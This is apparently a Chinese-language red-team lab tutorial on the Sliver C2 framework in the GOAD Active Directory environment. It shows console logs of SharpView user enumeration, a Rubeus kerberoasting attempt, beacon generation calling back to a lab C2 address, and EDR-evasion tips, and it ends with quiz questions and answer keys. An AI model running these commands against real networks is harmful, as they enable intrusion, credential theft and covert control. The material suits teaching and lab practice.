sliver (HTTP_BEACON) > execute-assembly /opt/SharpCollection/NetFramework_4.7_Any/SharpView.exe Get-NetUser
[*] Output:
objectsid : {S-1-5-21-3845383931-1370366697-225289965-500}
samaccounttype : USER_OBJECT
objectguid : 5ac87940-e021-4e77-9ade-41bf0936e138
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
accountexpires : 12/31/1600 4:00:00 PM
lastlogon : 10/7/2025 9:11:51 AM
lastlogontimestamp : 10/7/2025 5:55:01 AM
pwdlastset : 9/7/2025 8:53:08 AM
lastlogoff : 12/31/1600 4:00:00 PM
badPasswordTime : 10/5/2025 8:08:19 AM
name : Administrator
distinguishedname : CN=Administrator,CN=Users,DC=north,DC=sevenkingdoms,DC=local
whencreated : 9/7/2025 4:13:37 PM
whenchanged : 10/7/2025 12:55:01 PM
samaccountname : Administrator
memberof : {CN=Group Policy Creator Owners,CN=Users,DC=north,DC=sevenkingdoms,DC=local, CN=Domain Admins,CN=Users,DC=north,DC=sevenkingdoms,DC=local, CN=Administrators,CN=Builtin,DC=north,DC=sevenkingdoms,DC=local}
cn : {Administrator}
objectclass : {top, person, organizationalPerson, user}
logoncount : 55
codepage : 0
objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=sevenkingdoms,DC=local
description : Built-in account for administering the computer/domain
usnchanged : 73893
instancetype : 4
badpwdcount : 0
usncreated : 8196
countrycode : 0
primarygroupid : 513
lockouttime : 0
dscorepropagationdata : {9/7/2025 4:42:33 PM, 9/7/2025 4:42:29 PM, 9/7/2025 4:29:21 PM, 9/7/2025 4:29:21 PM, 1/1/1601 12:00:00 AM}
logonhours : {255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255}
admincount : 1
iscriticalsystemobject : True
...

sliver (HEALTHY_MARACA) > execute-assembly /opt/SharpCollection/NetFramework_4.7_Any/SharpView.exe Get-NetUser -SPN
[*] Output:
[Get-DomainSearcher] search base: LDAP://DC=north,DC=sevenkingdoms,DC=local
[Get-DomainUser] Searching for non-null service principal names
[Get-DomainUser] filter string: (&(samAccountType=805306368)(servicePrincipalName=*))
objectsid : {S-1-5-21-3845383931-1370366697-225289965-502}
samaccounttype : USER_OBJECT
objectguid : 7aec4ab3-b56c-416f-8fc3-ac97ddb7a2df
useraccountcontrol : ACCOUNTDISABLE, NORMAL_ACCOUNT
accountexpires : NEVER
lastlogon : 12/31/1600 4:00:00 PM
pwdlastset : 9/7/2025 9:14:10 AM
lastlogoff : 12/31/1600 4:00:00 PM
badPasswordTime : 10/5/2025 8:08:04 AM
name : krbtgt
distinguishedname : CN=krbtgt,CN=Users,DC=north,DC=sevenkingdoms,DC=local
whencreated : 9/7/2025 4:14:10 PM
whenchanged : 10/5/2025 3:08:04 PM
samaccountname : krbtgt
memberof : {CN=Denied RODC Password Replication Group,CN=Users,DC=north,DC=sevenkingdoms,DC=local}
cn : {krbtgt}
objectclass : {top, person, organizationalPerson, user}
ServicePrincipalName : kadmin/changepw
logoncount : 0
codepage : 0
objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=sevenkingdoms,DC=local
description : Key Distribution Center Service Account
usnchanged : 71550
instancetype : 4
showinadvancedviewonly : True
badpwdcount : 5
usncreated : 12300
countrycode : 0
primarygroupid : 513
lockouttime : 134041504845040788
dscorepropagationdata : {9/7/2025 4:42:33 PM, 9/7/2025 4:42:29 PM, 9/7/2025 4:29:21 PM, 9/7/2025 4:14:10 PM, 7/14/1601 4:20:16 AM}
msds-supportedencryptiontypes : 0
admincount : 1
iscriticalsystemobject : True
ls /opt/SharpCollection/NetFramework_4.7_Any/Rubeus.exe
sliver (HTTP_BEACON) > execute-assembly /opt/SharpCollection/NetFramework_4.7_Any/Rubeus.exe kerberoast /format:hashcat /nowrap
[*] Total kerberoastable users : 3
[*] SamAccountName : sansa.stark
[*] DistinguishedName : CN=sansa.stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
[*] ServicePrincipalName : HTTP/eyrie.north.sevenkingdoms.local
[*] PwdLastSet : 9/7/2025 10:32:41 AM
[*] Supported ETypes : RC4_HMAC_DEFAULT
[X] Error during request for SPN HTTP/eyrie.north.sevenkingdoms.local@north.sevenkingdoms.local : No credentials are available in the security package
[*] SamAccountName : jon.snow
[*] DistinguishedName : CN=jon.snow,CN=Users,DC=north,DC=sevenkingdoms,DC=local
[*] ServicePrincipalName : CIFS/thewall.north.sevenkingdoms.local
[*] PwdLastSet : 9/7/2025 10:32:52 AM
[*] Supported ETypes : RC4_HMAC_DEFAULT
[X] Error during request for SPN CIFS/thewall.north.sevenkingdoms.local@north.sevenkingdoms.local : No credentials are available in the security package
[*] SamAccountName : sql_svc
[*] DistinguishedName : CN=sql_svc,CN=Users,DC=north,DC=sevenkingdoms,DC=local
[*] ServicePrincipalName : MSSQLSvc/castelblack.north.sevenkingdoms.local
[*] PwdLastSet : 9/7/2025 10:32:59 AM
[*] Supported ETypes : RC4_HMAC_DEFAULT
[X] Error during request for SPN MSSQLSvc/castelblack.north.sevenkingdoms.local@north.sevenkingdoms.local : No credentials are available in the security package
sliver > generate beacon --http 192.168.139.138:8080 --seconds 120 --jitter 30
execute-assembly --in-process
避免產生子進程sliver (HTTP_BEACON) > execute-assembly --in-process /opt/tool.exe
sliver (HTTP_BEACON) > rm C:\\Windows\\Temp\\payload.exe
sliver (HTTP_BEACON) > tasks
ID State Message Type Created
==== ========== ============== =========
1 completed Ls 12:30:15
2 pending Download 12:31:22
如果 beacon 失去連線:
sliver > jobs
# 確認監聽器還在運行
# 等待 beacon 下次回連
sliver > generate beacon --debug --http 192.168.139.138:8080 --save /tmp/debug.exe
今天我們學習了如何在 GOAD 環境中使用 Sliver C2 框架進行紅隊演練。從生成植入物、建立連線、域內偵察到橫向移動,我們體驗了完整的攻擊流程。
關鍵要點:
現有標題:
Day 25 - 在 GOAD 環境實戰 Sliver C2 框架
✅ 標題評估: 標題清晰明確,建議保持不變。若要更吸引人可改為:
在 Cyber Kill Chain 模型中,C2 通訊階段的主要目的是什麼?
A. 收集目標系統的漏洞資訊
B. 從目標建立到 C2 伺服器的連線以進行遠端控制
C. 在目標系統上執行有效載荷
D. 將竊取的資料外洩到攻擊者控制的伺服器
✅ 正確答案:B
解析: C2 通訊階段的核心任務是建立並維持攻擊者與受害主機之間的通訊通道,以便後續進行指令控制和資料傳輸。
關於 Sliver 的 Beacon 與 Session 模式,以下敘述何者正確?
A. Beacon 模式提供即時互動,Session 模式定時回連
B. Session 模式適合長期潛伏,Beacon 模式適合即時操作
C. Beacon 模式以固定時間間隔回連,適合規避偵測
D. Session 和 Beacon 模式在功能上完全相同
✅ 正確答案:C
解析: Beacon 模式是非即時的定時回連機制(預設 60 秒),可透過 --seconds
和 --jitter
參數調整,適合長期潛伏。Session 模式則是即時互動模式。
若要在 AD 環境中進行 Kerberoasting 攻擊,以下哪個 Armory 工具組合最適合?
A. mimikatz
+ nanodump
B. rubeus
+ nanorobeus
C. seatbelt
+ sharpview
D. chisel
+ portbender
✅ 正確答案:B
解析: Rubeus 是專門用於 Kerberos 攻擊的工具,可執行 Kerberoasting、AS-REP Roasting 等攻擊。nanorobeus
是其 BOF(Beacon Object File)版本,更適合 C2 環境使用。
在 Sliver 中執行以下指令的主要目的是什麼?
execute-assembly --in-process /opt/tool.exe
A. 在遠端主機建立新的處理程序執行工具
B. 在目前 Beacon 處理程序內執行 .NET 組件,避免產生子處理程序
C. 將工具上傳到目標主機的記憶體中
D. 啟動一個新的 PowerShell 處理程序執行工具
✅ 正確答案:B
解析: --in-process
參數讓 .NET 組件在目前的 implant 處理程序內執行,避免建立容易被偵測的子處理程序,這是重要的 OPSEC(作業安全)技巧。
為了降低被 EDR(Endpoint Detection and Response)偵測的風險,以下哪種做法最不適當?
A. 使用 --jitter 30
參數為 Beacon 回連時間增加隨機性
B. 將 Beacon interval 設定為 10 秒以獲得更快的回應速度
C. 使用 migrate
指令將 implant 遷移到合法處理程序
D. 執行完畢後立即刪除上傳的工具檔案
✅ 正確答案:B
解析: 將回連間隔設為 10 秒會產生頻繁且規律的網路流量,容易被 EDR 識別為異常行為。正確做法應該是設定較長的間隔(如 60-300 秒)並配合 jitter 參數增加隨機性。